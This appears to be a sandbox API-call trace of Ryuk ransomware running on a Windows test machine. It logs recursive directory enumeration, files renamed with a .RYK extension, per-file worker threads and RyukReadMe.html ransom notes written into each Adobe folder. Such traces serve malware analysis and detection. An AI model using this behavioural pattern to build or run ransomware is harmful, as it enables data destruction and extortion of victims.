	[0202.159] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420
	[0202.160] GetLastError () returned 0xb7
	[0202.160] CloseHandle (hObject=0x420) returned 1
	[0202.160] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eda0
	[0202.160] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0202.160] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4778f970, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4778f970, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4778f970, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x116, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0202.161] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47a894f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x116, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0202.161] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0202.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424
	[0202.163] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.164] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x116, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0202.164] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0202.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c
	[0202.705] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.706] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x116, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0202.706] FindClose (in: hFindFile=0x29eda0 | out: hFindFile=0x29eda0) returned 1
	[0202.707] SetLastError (dwErrCode=0x0) 
	[0202.707] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420
	[0202.707] GetLastError () returned 0xb7
	[0202.707] CloseHandle (hObject=0x420) returned 1
	[0202.707] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x10a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0202.707] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x10a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0202.707] FindClose (in: hFindFile=0x29ece0 | out: hFindFile=0x29ece0) returned 1
	[0202.707] SetLastError (dwErrCode=0x0) 
	[0202.707] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0202.708] GetLastError () returned 0xb7
	[0202.708] CloseHandle (hObject=0x3f8) returned 1
	[0202.708] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xfe, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0202.708] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xfe, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0202.708] FindClose (in: hFindFile=0x29ec80 | out: hFindFile=0x29ec80) returned 1
	[0202.708] SetLastError (dwErrCode=0x0) 
	[0202.708] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0
	[0202.708] GetLastError () returned 0xb7
	[0202.709] CloseHandle (hObject=0x3c0) returned 1
	[0202.709] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0202.709] SetLastError (dwErrCode=0x0) 
	[0202.709] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0
	[0202.709] GetLastError () returned 0xb7
	[0202.709] CloseHandle (hObject=0x3c0) returned 1
	[0202.709] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec80
	[0202.710] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0202.710] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfe, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0202.710] SetLastError (dwErrCode=0x0) 
	[0202.710] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0202.710] GetLastError () returned 0xb7
	[0202.710] CloseHandle (hObject=0x3f8) returned 1
	[0202.711] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x120, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ece0
	[0202.711] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x120, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0202.711] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x120, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0202.711] SetLastError (dwErrCode=0x0) 
	[0202.711] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420
	[0202.711] GetLastError () returned 0xb7
	[0202.711] CloseHandle (hObject=0x420) returned 1
	[0202.712] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eda0
	[0202.712] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0202.712] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12c, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0202.712] SetLastError (dwErrCode=0x0) 
	[0202.712] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x43c
	[0202.712] GetLastError () returned 0xb7
	[0202.712] CloseHandle (hObject=0x43c) returned 1
	[0202.713] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x13c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee00
	[0202.713] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x13c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0202.713] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x470ddb90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0x13c, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0202.713] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0202.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440
	[0202.716] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.717] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47129e50, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0x13c, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0202.717] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0202.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444
	[0202.719] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.720] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x13c, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0202.720] SetLastError (dwErrCode=0x0) 
	[0202.720] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448
	[0202.720] GetLastError () returned 0xb7
	[0202.720] CloseHandle (hObject=0x448) returned 1
	[0202.721] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x146, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0202.721] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x146, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0202.721] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47801d90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x146, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0202.721] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0202.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c
	[0202.726] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.727] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x146, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0202.727] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x146, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0202.727] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0202.727] SetLastError (dwErrCode=0x0) 
	[0202.727] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448
	[0202.727] GetLastError () returned 0xb7
	[0202.727] CloseHandle (hObject=0x448) returned 1
